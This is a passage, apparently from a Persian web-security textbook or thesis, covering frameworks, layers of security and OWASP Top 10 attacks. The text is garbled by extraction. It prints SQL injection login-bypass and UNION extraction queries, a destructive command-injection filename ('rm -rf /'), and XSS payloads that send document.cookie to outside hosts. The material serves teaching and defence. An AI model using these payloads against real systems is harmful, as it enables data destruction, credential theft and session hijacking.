  کنند.معرف  شده و ابزار جانبی و کامل  نیز آنرا همراه م  ٢٠٠۵در سال 

 نمایه ج ٥٩شل 
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چندین کتاب در رابطه با کارکرد با دیجانگو منتشر شده است و پایتون در وب 
  با دیجانگو به دنیا معرف  گردید.

 

  نمایه دیجانگو ٦٠شل 

٢٬۶٬٣٬۶٬٢ Pyjamas 

چهارچوب نوپا و نیمه بالغ  که ترکیبی از جاواس ریپت و پایتون را برای 
 Google Web Toolkitدر واق  تبدیل  Pyjamasکند. کارکرد در وب معرف  م 

 به زبان پایتون است.

  

٢٬۶٬٣٬٧ Ruby  
  ستفاده است:روبی چندین چهارچوب وب دارد، که تنها ی   از آنها معروف و پر ا

٢٬۶٬٣٬٧٬١ Ruby on Rails 

 Rubyورود روبی به عرصه وب و محبوب شدن آن، با چهارچوب مبتکر 

on Rails  گیرد و میسر شد. این چهارچوب از مولد کدهای بسیاری بهره م
  انگیز است.های ساده با آن بسیار راحت و دلتوسعه وب

معرف  این چهارچوب باعث شد زبان روبی بسیار 
نویسان  که لذت استفاده از وب شود و برنامهمعروف و محب

  اند.اند، به زبان وابسته شدهاین چهارچوب را تجربه کرده
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Rails های بزرگ کارکرد خوبی ندارد، بسیار کند است و در برنامه
  های سازمان  ساخته نشده است.ساختار آن برای سیستم

  هادیر زبان ٢٬۶٬٣٬٨
- که معمولا هرکدام برای ی   از زبانهای متعدد دی ری وجود دارند، چهارچوب

 Ruby on Railsسازی هستند. بسیاری از آنها نوپا هستند و تحت تاثیر های برنامه
از این دسته است. بررس   Groovyبرای زبان  Grailsاند. چهارچوب ایجاد شده

 ها در حوزه این سند نیست.کارایی و امنیت این چهارچوب

  

  امنیت عمومی وب ٢٬٧
مانند ی   –های وبی که در دسترس  عموم هستند خصوصا سیستم –افزاری نرمهر سی تم 

بانک است. اطلاعات داخل سیستم، برای افراد بسیاری مهم و ارزشمند است و بسیاری از آنها 
  حاضرند نسبت به سرقت آنها، و یا تخریب سازمان پشت سیستم، اقدام نمایند.

ساختمان بی در و پی ر مستقر شود، به طوری که  باید توجه داشت که اگر ی  بانک، در ی 
های بسیار و بدون کنترل، درهای بسیار، راهروهای تودرتو و ساختار نامنظم  در آن پنجره

  توان امنیت آنرا تضمین نمود.وجود داشته باشد، با هر تعداد پرسنل هم نم 

د تا پس از استقرار چهارچوب ی  بانک باید طبق اصول، منظم، سازمان یافته و مح م باش
  های نظارت  بتوان به کفایت آنها اطمینان نسبی حاصل نمود.کنترل

  توان به چهار دسته تقسیم کرد:به طور کل  امنیت اطلاعات در منظر دیجیتال را م 

 RoRنمایه  ٦١شل 
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  امنیت شبه و سخت افزار ٢٬٧٬١
های خاص  در تعدادی سخت افزار در این سط ، امنیت به صورت قوانین و پروتکل

ها توسط هم ان شناخته شده هستند و معضلات و ده شده است. این پروتکلگنجانی
  نقاط ضعف آنها نیز تا حدود خوبی مشخص و معلوم است.

تامین امنیت این سط ، به متخصص امنیت شب ه احتیاج دارد که در مقابل 
  شود.تر و ال ودار تر دانسته م افزار، تخصص  سادهمتخصص امنیت نرم

 

  ای از ی معماری امنیت شبهنمونه ٦٢شل 
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  امنیت سیستم عامل ٢٬٧٬٢
های اصل  عامل، به امن بودن هسته و سرویسسط  بعدی یعن  امنیت سیستم

پردازند. سیستم عامل  که در هسته خود دچار مش لات امنیت  ی  سیستم عامل م 
تکل شب ه آن قابل سوء استفاده باشد (مثلا دارای گلوگاه  باشد که به سادگ  در پرو

کند و هر نفوذگری قبل از افزارهای مستقر را دچار مش ل م باشد) به سادگ  نرم
.افزار، نسبت به رخنه به آن اقدام م رسیدن به نرم   نماید

اند، ول  های مورد استفاده به حد قابل قبول  از امنیت رسیدهعاملامروزه سیستم
  شود.های امنیت  برای هسته آنها منتشر م هبازهم چندماه ی بار وصل

- انداز سختها وجود دارد، راهعامل بزرگترین مش ل  که در امنیت هسته سیستم

-)، قطعه کدی هستند که توسط سازندگان ی  نرمDriverاندازها (افزارها هستند. راه

انداز کارت راه شون . مثلاافزار در ی  سیستم عامل عرضه م افزار برای کار با آن نرم
  انداز مودم از این دسته هستند.گرافی  و راه

اندازها نیازمند سرعت قابل توجه  در اجرا هستند (و مستقیما با از آنجایی که راه
کنند)، سیستم عامل آنها را در حلقه صفر و با اختیارات تام بر روی سخت افزار کار م 
وع هستند و به مانند سیستم عامل دارای اندازها بسیار متنکند. راهسیستم اجرا م 

های ی  چهارچوب، تیم امنیت  و بررس  دائم  نیستند، لذا به مثابه بحث افزونه
.معضلات امنیت  بسیاری را در هسته سیستم عامل ایجاد م    کنند

کنند که شدیدا تست شده هایی را توسعه م اندازهای عامل معمولا تنها راهسیستم
اندازها تیم سیستم عامل امضای دیجیتال شده باشد، اما باز هم این راهباشد و توسط 

.تر م به نسبت هسته پایه سیستم عامل نا امن   باشند
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  امنیت سرویس ٢٬٧٬٣
های سیستم  ی  سیستم عامل و قسمت امنیت سرویس، در واق  امنیت سرویس

افزار توجه  نرمهاست. در هر سیستم عامل  تعداد قابل افزاری س وی اجرای برنامهنرم
) وجود دارند که به انجام عمل ردهای Daemonتحت عنوان سرویس یا دامون (

میل، سرویس روزمره سیستم مشغول هستند. مثلا سرویس دریافت و ارسال ای
DNSافزارهای بسیار دی ری در این دسته قرار دارند.، سرور وب و نرم  

معروف  هستند که با اختیارات  افزارهای تست شده و مطمئن وها نرماین سرویس
شوند. سرورها با گذشت زمان ) اجرا م Bootاندازی (بالا بر روی سیستم به هنگام راه

افزارهای ده  نرمهای بیشتر برای سرویسو با ارائه ام انات بیشتر و با نیاز به سرویس
ر دهند. هکنند و ارائه م های بیشتری را بر روی خود نصب م خود، سرویس

  افزار مستقل امنیت خود را داراست.سرویس  نیز به مانند ی  نرم

های تواند به کد و نحوه کارکرد تمام سرویساز آنجایی که ی  متخصص امنیت نم 
افزارهای اتوماتی  و یا موجود بر روی ی  سیستم احاطه داشته باشد، معمولا از نرم

  .گیرندها کم  م های معضلات امنیت  سرویسگروه

 

  افزار معروف بررس امنیت سرویس و شبهنمایه نسوس، ی نرم ٦٣شل 
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های موجود بر روی سیستم را افزارها، مانند ی  آنت  ویرویس، سرویساین نرم
کنند. معضلات  که هنوز بررس  کرده، معضلات شناخته شده آنها را گزارش م 

) هستند، توسط این تست اتوماتی  0dayصفر روزه (اند و به اصطلاح گذارش نشده
-ها سیستم رخنه م شوند و با استفاده از آنها نفوذگران روزانه به میلیونکشف نم 

.   کنند

افزار به توان به چند دسته تقسیم کرد که در بخش امنیت نرممعضلات را م 
.تفصیل بررس  م    شوند

بروزرسان  دائم هستند که پس از های عامل سرور، دارای سرویس تمام سیستم
مشخص شدن ی  رخنه در ی  سرویس، و گزارش شدن آن، نسخه اصلاح شده آنرا از 

کنند تا معضل مربوطه وصله شود. کاربران خانگ  اینترنت دریافت کرده نصب م 
شمارند ول  مدیران سرورها های خود را نامهم م بسیاری از اوقات بروزرسان  سرویس

  این مهم اهتمام کاف  دارند.هم شه بر 

کند و به گاه  نسخه بروز شده ی  سرویس، از ام انات نسخه قبل  پشتیبان  نم 
شود ) نیست. این امر باعث م Backward Compatibleاصطلاح همسان با قبل (

افزارهایی که از بسیاری از مدیران سرورها از بروزرسان  سرویس خودداری کنند تا نرم
گرفتند که در نسخه جدید موجود نیست، از کار نیافتند. این خاص  بهره م های ویژگ 

  ترین دلایل ه  شدن سایتهای بزرگ است.مهم نیز ی   از اصل 
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  افزارامنیت نرم ٢٬٧٬۴
افزارها برای برخ  افزار دنیای بسیار وسیع  دارد و برخ  نرماز آنجایی که نرم

افزار سط  دو بخش امنیت کد ماشین (نرم افزار بهدی ر ح م س و را دارند، امنیت نرم
  شود.پایین) و امنیت منطق /سط  بالا تقسیم م 

% سایتها توسط امنیت منطق  قابل نفوذ هستند و کمتر ٧٠در دنیای امروز 
رود. به نفوذگری به دنبال نفوذ از طرق دی ر (که معمولا بسیار دشوارتر هستند) م 

افزار تحت وب، امنیت عموم  آنرا به ت  ی  نرمهمین دلیل رف  معضلات منطق  امنی
  دهد.ای افزایش م طرز قابل ملاحظه

  امنیت کد ماشین ٢٬٧٬۴٬١
شوند، بر روی شناخته م  Exploitهای امنیت  که معمولا با نام تعدادی از حمله

افزار قابل انجام هستند. این کد ماشین ی  نرم
ا تا ها سط  پایین بوده، یافتن آنها و رف  آنهحمله

حدودی مش ل است. به عنوان مثال حمله معروف 
Buffer Overflow  دهد که تابع  هنگام  رخ م

 ٢٠٨بایت داده دارد،  ٢٠٠که انتظار دریافت مثلا 
بایت داده دریافت کند و آدرس بازگشت از تابع نیز 
بر روی پشته سیستم بازنویس  شود، لذا پس از 

  توسط اجرای تابع، کد به قسمت قابل کنترل
  شود.نفوذگر منتقل م 

این دسته از حملات، توسط متخصصات امنیت  
 Buffer Overflow نمای تصویری ٦٤شل 
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شود. پس از مدت  که لو ها از آنها استفاده م شوند و برای نفوذ به سیستمکشف م 
.ای برای رف  این مش ل ارائه م افزارها وصلهرفتند و منتشر شدند، تیم نرم   کنند

های بیشماری را برای ی، م انیزمافزارهای عامل و بسترهای نرمسیستم
که روشیست برای  ASLRاند، مانند جلوگیری از این نوع حملات در نظر گرفته

های ی  برنامه تا نفوذگر نتواند ال وی حافظه را کشف کرده تصادف  چیدن حافظه
  و به آن نفوذ کند.

.این دسته حملات از بحث این سند خارج هستند و سندی جداگانه م    طلبند

  امنیت منطق/سطح بالا ٢٬٧٬۴٬٢
امنیت منطق  یا سط  بالا، مربوط به نقاط ضعفیست که در کد سط  بالا وجود 

. این بخش از امنیت، احتیاج به XSSو  SQL Injectionدارند، مانند حملات 
های موجود ر برابر آنها دارد تا به درست  بتوان آگاه  از روشهای نفوذ و دفاع

  گران نتوانند به راحت  آنرا ه  کنند.نویس  کرد و نفوذبرنامه

آید، یا به دلیل نویس پیش م این بخش از امنیت یا به دلیل حواسپرت  برنامه
نویس معمول  هیچ اه تصور نخواهد کرد که خوشبین  او. به عنوان مثال برنامه

 SQL Injectionوارد نماید، لذا از ام ان استفاده از  or 1=’1 ’1فردی رمز عبور را 
وار در مورد وجود برای گذر از ورود به سیستم با خبر نیست. آگاه  ابتدایی و عنوان

نویس بتواند از آنها جلوگیری کند تا حدودی اینگونه مخاطرات، برای اینکه برنامه
حل کند. هنگامی ه برنامه نویس از خطر اطلاع یافت، خود به دنبال راهکفایت م 

  آن خواهد بود.
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ها در امنیت ی  سیستم باید رعایت شوند، و هرکدام دارای تمام  این دسته از آنجایی که
شود و امنیت نسبی نیز جزئیات و نکات بسیاری هستند، امنیت مطلق دست یافتن  تلق  نم 

% سایتهای اینترنت  قابل رخنه ٧٠در دنیای امروز در حدی است که طبق آخرین آمار بیش از 
ها شاهد هستیم، بسیاری از سایتهای مهم و بزرگ هرروزه انههستند و همانطوری که در رس

.ه  م    شوند

دهد زیرا در این میان وجود ی  چهارچوب خوب و امن، احتمال نفوذ را به شدت کاهش م 
عمده نفوذگران مبتدی هستند و پس از بررس  روشهای ساده نفوذ نا امید خواهند شد. اما اگر 

م  و سازمان یافته برای نفوذ به ی  سیستم تلاش کنند ( که ای به صورت تینفوذگران حرفه
شود)، حتما به هدف شناخته م  APT –Advanced Persistent Threatامروزه با واژه مخوف 

مربوطه دست پیدا خواهند کرد. از همین دسته هستند ویروسهای سایبری منتشر شده در 
  .Stuxnet, Duqu, Flameسالهای اخیر از جمله 
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  خاطرات امنیت وبم ٣
افزار و امنیت وب به قبل از اینکه به مطرح کردن مخاطرات بپردازیم، تعریف امنیت نرم

:افزار را مرور م عنوان ی  بستر ارائه نرم   کنیم

  افزارهای امنیت نرمحوزه ٣٬١
:شوند مطرح م خلاصه م  CIAافزار، سه بخش را که با واژه در تعریف امنیت نرم   نمایند

٣٬١٬١ Confidentiality 

محرمانگ ، یعن  ام ان دزدی و دیدن مطالبی که نیازمند امنیت هستند توسط 
های رمزنگاری و افزارها توسط پروتکلاشخاص ثالث مم ن نباشد. محرمانگ  در نرم

گیرد. محرمانگ  در وب معمولا توسط پروتکل سازی صحیح آنها صورت م پیاده
SSL/TLS  مل  را رمز م های تعاشود که دادهانجام م.   کند

های قابل توجه  شود، پیچیدگ اجرا م  SSLکه در واق  در بستر  HTTPSپروتکل 
) است که PKIهای این پروتکل، زیرساخت کلید عموم  (دارد. از مهمترین پیچیدگ 

 گیرد.ها را در بر م امضای دیجیتال و گواهینامه دیجیتال و تایید و رد هویت

های محرمانه و کنند و به دادهوجود این ویژگ  را نقض م بسیاری از مخاطرات م
.خصوص  دست م    یابند

٣٬١٬٢ Integrity  
ی پارچ   یعن  عدم ام ان دستکاری اطلاعات. هنگام  که شما ی  نامه 

کنید که دستور مهم  را به شما داده است، باید ال ترونی  از رییستان دریافت م 
  است.س شماست و کس  آنرا دستکاری نکردهمطمئن باشید که این نامه از سمت ریی
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شود.  در این مهم نیز توسط زیرساخت کلید عموم  و امضای دیجیتال فراهم م 
صورت  که زیرساخت کلید عموم  دچار مش ل شود یا کاربران اهمیت آنرا فراموش 

توانند شود و نفوذگران بدون درک کاربر م کنند، ام ان دستکاری تعاملات فراهم م 
) Man in the Middleها را دستکاری کنند. این حملات با نام مرد میان  (داده

.شناخته م    شوند

٣٬١٬٣ Availability 

های امروزی این در دسترس بودن، در گذشته از منظر امنیت  مهم نبود اما سیستم
  شمارند.مهم را بیش از هر ویژگ  دی ری حساس م 

دقیقه از دسترس خارج کند،  ١۵برای  تصور کنید که ی  نفوذگر بتواند گوگل را
شوند و تمام اعتبار و آبروی آن خواهد رفت و همچنین مشتریان گوگل از آن نا امید م 

.دی ر بدان اعتماد نم    کنند

High Availability افزار است که متخصصان های مهم امروزی دنیای نرماز چالش
.بسیاری بر روی آن کار م    کنند

ر این حوزه متمرکز هستند، که از نظر تخریب اهمیت پایینتری از حملات بسیاری د
شود ی  سیستم ه  شده است، مهم دو حوزه دی ر دارند، لذا هنگام  که گفته م 

است که دانسته شود کدام حوزه آن به خطر افتاده است. اگر تنها در دسترس پذیری 
  باشد نکته بسیار مهم  نیست.

هدف اصلیشان از بین بردن دسترس  پذیری  DDOSو  DOSهمچنین دو حمله 
های متعدد به ی  سیستم یا سرویس، سع  در از مدار با ارسال درخواستاست که 

  .خارج کردن آن دارند
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  معضلات مشهور امنیت وب  ٣٬٢
خطر اصل  امنیت  ١٠که به بررس   OWASP Top 10در این بخش، با استناد به سند 

شوند. همچنین در فصل امنیت وب با توضیح بررس  م  پردازد، انواع معضلات مشهوروب م 
  شود.هایی برای جلوگ  از آنان ارائه م بعدی راه ار

 

  نمایه اواسپ ٦٥شل 

الملل  امنیت وب به عنوان معتبرترین انجمن بین OWASPقابل ذکر است که 
پردازد و اعتماد عموم  به آن زمینه م سالهاست که در به نشر آگاه  و آموزش امنیت در این 

بسیار بالاست. نگارنده نیز در این انجمن عضو بوده، علاوه بر سرپرست حوزه ایران انجمن 
  ) نقش موثری دارد.PH P Securityو   Top 10بودن در تدوین سندها (از جمله 

تمرکز  MySQLو پای اه داده  PHPهای مطرح شده در این بخش بر روی زبان سناریو
ها با تغییرات جزئ  قابل اجرا هستند. در صورت  که در دارند، ول  بر روی همه سیستم

  های دی ر تفاوت عمده باشد، در سناریو ذکر خواهد شد.سیستم

و  OWASP WebGoatافزار آموزش  همچنین بسیاری از این معضلات در نرم
OWASP WebGoatPHP .قابل مشاهده و بررس  کامل است  

٣٬٢٬١ SQL Injection 

- ، رتبه دوم را به خود اختصاص داده بود و انتظار م ٢٠٠٧این حمله که در سال 

ترین نزول کند، به دلیل عدم ایجاد آگاه  کاف  (کاری که های پایینرفت به رتبه
  سالهاست در حال صورت گرفتن است) اکنون به رتبه اول صعود کرده است.
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SQL Injection  و همه نفوذگران قبل از تست هر حمله حمله بسیار خطرناکیست
کنند. برای تست این حمله کافیست در صفحه ورود یا هر دی ر این حمله را تست م 

وارد نمایید. درخواست  که از  or 1=’1 ’1پارامتر ورودی دی ر ی  وب عبارت  مانند 
  شود به صورت زیر تغییر خواهد کرد:طریق برنامه به پای اه داده ارسال م 

SELECT * FROM users WHERE Username=’$1’ AND Password=’$2’ 

SELECT * FROM users 

 WHERE Username=’foo’ AND Password=’1’ or 1=’1’ 

شود درخواست به ی  شرط همواره صحیح تبدیل شد همانطور که مشاهده م 
له به دو تواند با دسترس  مدیر وارد سیستم شود. این حمو به همین سادگ  کاربر م 

  شود:دسته اصل  تقسیم م 

  تزریق درخواست کور ٣٬٢٬١٬١
Blind SQL Injection  نامیست که برای این نوع از حملات تزریق درخواست

ها، پاس  ی  درخواست پای اه  بر روی صفحه اند. در بسیاری از سایتبرگزیده
-م گیری، شما رای خود را انتخاب شود. مثلا در ی  صفحه راینمایش داده نم 

افزاید. حالا اگر تزریق کنید، معلوم نیست کنید و سیستم آنرا درون پای اه داده م 
  که تزریق شما کار کرده است یا خیر.

توان پارامترهایی را در نظر گرفت که وقت  در آنها تزریق به عنوان مثال دی ر م 
این نیز  دهد.کند و در غیر اینصورت خطایی رخ نم شود برنامه ایجاد خطا م م 

شود. به طور کل  هر تزریق  که نتایج به عنوان مثال  از تزریق کور تلق  م 
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-درخواست آن مستقیما بر روی صفحه نمایش داده نشود، تزریق کور نامیده م 

  شود.

- دارد. هر بار که نفوذگر تزریق م سوال  وا م  ٢٠تزریق کور، نفوذگر را به بازی 

یافتد پاس  بله و در صورت  که اتفاق دی ر بیافتد کند، در صورت  که ی  اتفاق ب
پاس  خیر دریافت شده است. با استفاده از تقسیم دودویی حالت مقصد با تعداد 

های ی  پای اه داده توان به همه دادهدرخواست بالا با همین تزریق کور نیز م 
  دست یافت.

شود ماتی  انجام م افزارهای اتونکته اصل  در آنجاست که تزریق کور توسط نرم
(به دلیل تعداد درخواست مورد نیاز بالا) و اینکار بر روی سرور ایجاد گزارش  

  شود.کند که در صورت بررس  مدیران سرور کشف و مشخص م مفصل م 

توان تزریق کور را م  Benchmarkهایی  انند همچنین با استفاده از درخواست
ها بار ها، ی  عملیات را میلیونخواستشدن سیستم کرد. این در DOSمن ر به 

.برای سنجش سرعت تکرار م    کنند

  تزریق عادی ٣٬٢٬١٬٢
های موجود را تزریق معمول  نام خاص  برای خود ندارد. این تزریق، تمام پاس 

دهد. نکته اصل  در انجام دادن تزریق معمول  (که بر روی صفحه نمایش م 
د شمای کل  ی  درخواست را تشخیص تر است) آنست که نفوذگر باید بتوانکمیاب

دهد تا بتواند به آن نفوذ کند. به عنوان مثال درخواست زیر را در نظر ب یرید که 
:بار م پس از جستجو محصول در ی  فروش اه را  یتعداد   کند

SELECT Name, Category, Image 
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WHERE Name LIKE ‘%$1%’ 

FROM Product ORDER BY AddTime LIMIT 10,20 

در  دهد.پس گروه، تصویر و نام هر محصول را بر روی صفحه نمایش م س
را در درخواست بالا تزریق کند، تنها اتفاق   or 1=’1 ’1صورت  که نفوذگر، عبارت 

شوند، که در حالت عادی نیز قابل که میافتد آنست که تمام محصولات انتخاب م 
 ر جداول سیستم (مثل جدول انجام است. در اینجا نفوذگر قصد دارد اطلاعات دی

های بانک ) را استخراج نماید یا حت  نام کاربری سیستم پای اه کاربران یا حساب
  داده را کشف کند که نیازمند تکنی  زیر است.

٣٬٢٬١٬٢٬١ Union Bypassing  
ها، نفوذگر باید از تکنی  گذر اجتماع  استفاده کند. در اینگونه سناریو
پای اه داده است که دو مجموعه را اجتماع های سیستم اجتماع ی   از عمل ر

گیرد. در مثال فوق در صورت  که نفوذگر عبارت زیر را درج کند این تکنی  م 
  موفق عمل کرده است:

1’ and 1=0 union select 1,2,3 ; - - 

  دهد:درج عبارت بالا، درخواست را به درخواست زیر تقلیل م   

SELECT Name, Category, Image FROM Product 

 WHERE Name LIKE ‘%1’ and 1=0 

  UNION SELECT 1,2,3 ; - - 

 %’ ORDER BY AddTime LIMIT 10,20 
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به معن   MySQL) در - -از آنجایی که عمل ر دو خط فاصل  (
هایی از درخواست که پس از آن ذکر شده اند توضیحات در ادامه است، قسمت

گوید از محصولات آنهایی را انتخاب  شوند. در واق  درخواست فوق ملحاظ نم 
کن که نامشان شبیه ی  باشد و ی  مساوی صفر باشد، که این شرط هیچ اه 

را انتخاب کن. حاصل کل   ٣و٢و١گوید برقرار نیست. سپس در قسمت دوم م 
به  ١شود (است که بر روی صفحه دیده م  ٣و٢و١این درخواست ی  رکورد 

  به جای تصویر آن) ٣ته آن و به جای دس ٢جای نام محصول، 

هرچند درخواست فوق هیچ کاربردی ندارد، اهمیت آن در اینست که 
شود تزریق وی به درست  کار کرده و حاصل تزریق بر روی نفوذگر متوجه م 

  صفحه نمایش داده شده است. حال کافیست نفوذگر در ادامه، قسمت

SELECT 1,2,3 

دوست دارد جای زین کند. دی ری که  SELECTرا با هر درخواست 
  مثلا

SELECT Username,Password,3 FROM users 

SELECT DatabaseName(),User(),3 

شود، توجه داشته باشید که از آنجایی که سومین فیلد تصویر م 
  ای ندارد.قراردادن فیلد صحیح در آن فایده

های مهمترین نکته در گذر اجتماع ، تشخیص درست تعداد فیلد
فیلد، چهار فیلد  ٣ست شده است. اگر در مثال فوق، برنامه اصل  به جای درخوا
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کرد. در اجتماع هر دو مجموعه را درخواست کرده بود، تزریق ما درست کار نم 
  باید از ی  ش ل باشند.

شود. در اینکار نیز با تست تعداد فیلدهای مختلف به سادگ  انجام م 
انتخاب شده که باز هم با استفاده از ابزار فیلد  ٢٠ها بیش از برخ  از سناریو

  اتوماتی  به سادگ  قابل تست شدن است.

  رخنه به سیستم ٣٬٢٬١٬٢٬٢
 SELECTهای دهد، در درخواستاکثر مواردی که تزریق درخواست رخ م 

های دی ر بتوانیم تزریق کنیم، ایجاد خطر بیشتری برای است. اگر در درخواست
.را تغییر داده یا پاک م های آنسیستم خواهد کرد زیرا داده   کنیم

توان آسیبی به سیستم رساند، ول  با استفاده از این درخواست خاص، نم 
مرحله بعدی کشف اطلاعات حساس سیستم است. اولین قدم، کشف دسترس  
کاربریست که برنامه با استفاده از آن به پای اه داده متصل شده است. اگر این 

از دور به سیستم داده شده باشد، به سادگ  به باشد، و دسترس   rootکاربر 
- کنیم و هرکاری خواستیم انجام م پای اه داده سرور اتصال مستقیم برقرار م 

  دهیم.

رویم. در صورت  که کاربر پای اه محدود باشد، به سراغ کاربران سیستم م 
 استاندارد در آنست که رمز عبور کاربران با ی  روش خاص رمز شده در سیستم

قرار گیرد تا پس از نفوذ به سیستم ام ان بازیابی آن نباشد، ول  به دلیل عدم 
کنند و لذا یافتن عبارت رمز شده ها این مهم را رعایت نم آگاه  اکثر سیستم

شود. پس از کشف رمز کاربران مدیر ی  رمز عبور، منجر به کشف خود رمز م 
    آنها، همه کار انجام دهیم.توانیم با ورود به سیستم با دسترسسیستم، م 
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در صورت  که باز هم م انیزم کامل  در نظر گرفته شده بود، با رفتن به سراغ 
  کنیم.ها، اقدام به سرقت نشست م جدول نشست

راه دی ر استفاده از اطلاعات حساس و مدیریت هر سیستم است. همه 
هایی که بین کنند. مثلا پیامها اطلاعات خود را محرمانه تلق  م سیستم

  کاربران رد و بدل شده است در پای اه داده قابل دسترس  است.

های فوق را بسته باشد، ول  آید که سیستم  تمام  راهخیل  کم پیش م 
  کنیم.تزریق درخواست را باز گذاشته باشد، لذا این سناریو را بیشتر بررس  نم 

 

  یق درخواستتصویر نمادین تزر ٦٦شل 

  تزریقات دیر ٣٬٢٬٢
به غیر از تزریق درخواست پای اه ، چندین نوع تزریق دی ر نیز وجود دارد. به 

-ای که قسمت  از آن از کاربر گرفته شده، به نرمتر، هرجایی که رشته دادهعبارت دقیق

  شود. شود، ام ان تزریق فراهم م افزار ثالث  برای اجرا ارسال م 

  ح زیر هستند:تزریقات مهم به شر
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  تزریق به کنسول ٣٬٢٬٢٬١
افزارها برای کنسول، واسط کاربری ساده ی  سیستم عامل است. بسیاری از نرم

کنند. با اینکار درواق  از کارهای روزمره خود، تکه کدی را در کنسول اجرا م 
.ام انات هزاران برنامه قدرتمند دی ر بهره م    گیرند

گیرد، آنرا که ی  قطعه کد از کاربران م  مثلا سیستم آنلاین  را در نظر ب یرید
دهد. این سیستم با استفاده از کند و حاصل را نمایش م کامپایل و اجرا م 

داده، حاصل را گرفته اجرا کرده و  gccکنسول، داده ورودی کاربر را به برنامه 
  دهد.خروج  کنسول را به کاربر نمایش م 

های مه خود، این نام را برگزیند کل  دادهحال اگر کاربری به جای نام فایل برنا
  شود:سیستم پاک می

Foo | rm –rf / 

البته باید توجه داشت که دسترس  کاربر وب سرور محدو د است و ام ان پاک 
  کردن همه فایلها را ندارد ول  آسیب جدی به سیستم خواهد رساند.

  تزریق کد ٣٬٢٬٢٬٢
های مفسری در ستند. زباننویس  امروزی مفسری ههای برنامهتقریبا همه زبان

های مترجم  ای دارند که زباناجرا کندتر هستند، ول  ام انات قابل ملاحظه
توان ی  ندارند. ی   از این ام انات، اجرای ی  رشته در بستر زبان است. مثلا م 

در قالب برنامه اجرا کرده،  Evalاز کاربر گرفت و آنرا توسط دستور  PHPقط ه کد 
  ه کاربر باز گرداند.حاصل آنرا ب
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تواند انواع اینکار کاربرد زیادی ندارد، ول  در صورت  که انجام شود، کاربر م 
  کدهای مخرب را به سادگ  بر روی سرور اجرا نماید.

  تزریقات دیر ٣٬٢٬٢٬٣
افزار ثالث، ام ان همانطور که ذکر شد، ارسال داده تاثیر گرفته از کاربر به نرم

و غیره در LDAP, Xpathافزارهایی مانند ها و نرمابخانهکن . کتتزریق را فراهم م 
  مقابل این نکته آسیب پذیر هستند.

  

اسریپ ٣٬٢٬٣ بین  ایت     نویس
شود، حمله ) نامیده م XSS )Cross Site Scriptingاین حمله که به اختصار 

نزول داشته  ٢٠١٠به رتبه دوم لیست  ٢٠٠٧بسیار خطرناکیست که از رتبه اول لیست 
  اما استفاده از آن اصلا کاهش نیافته است. است،

ویژگ  اصل  این حمله، بسیار دشوار بودن مقابله با آن است و تنوع بسیاری که دارا 
نویسان و حت  نفوذگران به خوبی با این حمله آشنا نیستند ول  است. بسیاری از برنامه

.ه منتشر م ها و بدافزارها امروزه توسط این حملبسیاری از ویروسها و کرم   شوند

برای آشنایی بیشتر با این حمله، باید دانست که جاواس ریپت  که در ی  صفحه 
) تنها اجازه ارسال SOP )Same Origin Policyشود، تحت قانون وب اجرا م 

درخواست و دریافت پاس  از سروری را دارد که سایت از آن لود شده است. به عنوان 
داشته باشید که بر روی  abiusx.comر روی سایت مثال اگر شما ی  اس ریپت ب

داشته باشد، فعالیت آن  download.comکاوش ر کاربر بار شود، و قصد آژاکس زدن به 
  شود.توسط کاوش ر به دلایل امنیت  متوقف م 
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های ی  کاربر های مخرب به دادهاین قانون برای جلوگیری از دسترس  اس ریپت
ر این قانون وجود نداشت، شما با درج ی  اس ریپت مخرب در ی  سایت است، مثلا اگ

توانستید تمام اطلاعات صفحه آنرا داشته باشید (که برای هر کاربری، در ی  سایت م 
  شود).خاص بار م 

برای درخواست و پاس  مطرح است، ول  ارسال  SOP نکته قابل توجه آنست که 
توانید پاس  آنرا داشته باشید نم ی  درخواست به هر سروری مم ن است، شما تنها 

  قابل دور زدن است) JSONP(که آن هم با روش 

XSS  عبارت است از درج ی  تکه کد جاواس ریپت در پای اه داده ی  سیستم
توسط نفوذگر، به طوری که این اس ریپت بر روی کاوش ر دی ر کاربران بار شود. در 

شود، ول  که توسط ی  کاربر اضافه م واق  اس ریپتینگ بین سایت ، یعن  اس ریپت  
  شود.توسط کاربر دی ری اجرا م 

به عنوان مثال سایت محبوب فیس بوک را در نظر ب یرید. هر کاربری ام ان درج 
در این سایت وجود نداشته  XSSهای مقابله با داده دراین سایت را دارد. اگر م انیزم

نو سید که دی ران، عبارت زیر را م  باشد، شما به سادگ  به جای نظر گذاشتن برای
  شود:باعث اجرا شدن ی  اس ریپت و دزدیده شدن شماره نشست آنها م 

<script>document.location 

=“https://abiusx.com/me/xss?”+encode(document.cookie);</script> 

نکه های کاربری که آنرا اجرا کرده، بدون آبا اجرا شدن اس ریپت فوق، کل کوک 
. شود و ام ان دزدی نشست را فراهم م متوجه شود برای نفوذگر ارسال م  کند

تواند بدون آگاه  کاربر نسبت به خرید، درج مطالب، حذف مطالب همچنین نفوذگر م 
  و دی ر کارها توسط اس ریپت اقدام نماید.

https://abiusx.com/me/xss
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  XSSتصویر نمادین  ٦٧شل 

  دارد: وجود XSSدو نوع حمله 

٣٬٢٬٣٬١ XSS ذخیره شده  
این حمله، همانگونه که در بالا توضیح داده شد، توسط ذخیره ی  

داده سرور و اجرا شدن آن بر روی سیستم کاربران آن اس ریپت مخرب در پای اه
  شود.سرور انجام م 

این حمله بسیار مخرب است و بدون اینکه کاربر متوجه شود به سادگ  به 
پردازد. همچنین در صورت  هوشمند بودن کاف ، ت م دستکاری و سرقت اطلاعا

های مختلف گسترش دهد و همه را آلوده تواند خود را توسط کابران در سایتم 
  کند. 

٣٬٢٬٣٬٢ XSS منعکس شده  
شود، توسط بسیاری از افرادی شناخته م  Reflected XSSاین حمله که با نام 

اور عموم  بر آنست که اگر آگاه  دارند نیز ناشناخته مانده است. ب XSSکه از  
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بر روی  XSSسایت  مطالب را ذخیره نکند، یا در مطالب ذخیره شده دقت کند و 
  نخواهد داشت. XSS   آنها انجام نشود، دی ر مش ل

ای دارد که به عنوان ی  سناریوی بسیار محتمل فرض کنید ی  سایت صفحه
ارت درج شده در دهد. این صفحه، عبخطای یافته نشدن مطالب را نشان م 

نویسد که این کند و در ادامه م قسمت آدرس کاوش ر را بر روی صفحه چاپ م 
  آدرس یافت نشد یا وجود ندارد.

حال اگر نفوذگری، آدرس زیر را برای شما ارسال کند و شما روی آن کلی  
شوید و حساب شما بدون اینکه بدانید کنید، دچار اکس اس اس منعکس شده م 

  رود:م به س قت 

http://Site.com/<script> document.location   =“https://abx.ir 

/xss?”+encode(document.cookie);</script> 

